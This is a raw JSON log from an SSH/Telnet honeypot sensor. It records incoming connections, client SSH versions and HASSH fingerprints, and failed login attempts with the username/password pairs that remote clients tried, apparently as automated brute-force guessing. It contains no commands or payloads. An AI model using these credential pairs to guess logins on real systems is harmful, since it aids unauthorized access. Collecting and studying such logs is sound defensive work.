{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":60272,"dst_ip":"10.17.0.5","dst_port":22,"session":"07041e1baf63","protocol":"ssh","message":"New connection: 189.46.1.73:60272 (10.17.0.5:22) [session: 07041e1baf63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:12.359472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:12.425491Z","src_ip":"189.46.1.73","session":"07041e1baf63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:12.567228Z","src_ip":"189.46.1.73","session":"07041e1baf63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"developer","message":"login attempt [dev/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:13.219313Z","src_ip":"189.46.1.73","session":"07041e1baf63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:14.420889Z","src_ip":"189.46.1.73","session":"07041e1baf63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":42502,"dst_ip":"10.17.0.5","dst_port":22,"session":"deb170861eb1","protocol":"ssh","message":"New connection: 190.242.109.42:42502 (10.17.0.5:22) [session: deb170861eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:51.551140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:51.557049Z","src_ip":"190.242.109.42","session":"deb170861eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:51.662217Z","src_ip":"190.242.109.42","session":"deb170861eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"docker","message":"login attempt [user/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:52.110093Z","src_ip":"190.242.109.42","session":"deb170861eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:25:53.221456Z","src_ip":"190.242.109.42","session":"deb170861eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60626,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4cd1894d53a","protocol":"ssh","message":"New connection: 103.147.159.91:60626 (10.17.0.5:22) [session: e4cd1894d53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:00.021007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:00.028718Z","src_ip":"103.147.159.91","session":"e4cd1894d53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:00.272978Z","src_ip":"103.147.159.91","session":"e4cd1894d53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password123456","message":"login attempt [ubuntu/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:01.257754Z","src_ip":"103.147.159.91","session":"e4cd1894d53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:02.499444Z","src_ip":"103.147.159.91","session":"e4cd1894d53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60486,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac357618721e","protocol":"telnet","message":"New connection: 212.55.149.117:60486 (10.17.0.5:23) [session: ac357618721e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:15.750571Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.232.23.126","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d72c21273b24","protocol":"telnet","message":"New connection: 36.232.23.126:37238 (10.17.0.5:23) [session: d72c21273b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:20.730607Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":38728,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e555295df4","protocol":"ssh","message":"New connection: 151.80.141.196:38728 (10.17.0.5:22) [session: c1e555295df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:21.021329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:21.027307Z","src_ip":"151.80.141.196","session":"c1e555295df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:21.130022Z","src_ip":"151.80.141.196","session":"c1e555295df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"FTPUser","password":"ftpuser","message":"login attempt [FTPUser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:21.475013Z","src_ip":"151.80.141.196","session":"c1e555295df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:22.558683Z","src_ip":"151.80.141.196","session":"c1e555295df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.111725807189941,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:33.842197Z","src_ip":"36.232.23.126","session":"d72c21273b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60684,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb5e64399865","protocol":"ssh","message":"New connection: 103.147.159.91:60684 (10.17.0.5:22) [session: fb5e64399865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:59.465303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:59.469123Z","src_ip":"103.147.159.91","session":"fb5e64399865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:26:59.706027Z","src_ip":"103.147.159.91","session":"fb5e64399865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234Qwer","message":"login attempt [ubuntu/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:00.687751Z","src_ip":"103.147.159.91","session":"fb5e64399865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:01.929076Z","src_ip":"103.147.159.91","session":"fb5e64399865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":60426,"dst_ip":"10.17.0.5","dst_port":22,"session":"491bc8e4c92e","protocol":"ssh","message":"New connection: 190.242.109.42:60426 (10.17.0.5:22) [session: 491bc8e4c92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:04.182866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:04.187792Z","src_ip":"190.242.109.42","session":"491bc8e4c92e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:04.283368Z","src_ip":"190.242.109.42","session":"491bc8e4c92e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234@","message":"login attempt [root/admin1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:04.689852Z","src_ip":"190.242.109.42","session":"491bc8e4c92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:05.786577Z","src_ip":"190.242.109.42","session":"491bc8e4c92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":55336,"dst_ip":"10.17.0.5","dst_port":22,"session":"a12cce12bf2e","protocol":"ssh","message":"New connection: 151.80.141.196:55336 (10.17.0.5:22) [session: a12cce12bf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:12.052543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:12.057882Z","src_ip":"151.80.141.196","session":"a12cce12bf2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:12.138670Z","src_ip":"151.80.141.196","session":"a12cce12bf2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123","message":"login attempt [reza/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:12.446086Z","src_ip":"151.80.141.196","session":"a12cce12bf2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:13.531243Z","src_ip":"151.80.141.196","session":"a12cce12bf2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":22974,"dst_ip":"10.17.0.5","dst_port":22,"session":"670533c40c70","protocol":"ssh","message":"New connection: 208.87.243.61:22974 (10.17.0.5:22) [session: 670533c40c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:21.967114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:21.972904Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.045099Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
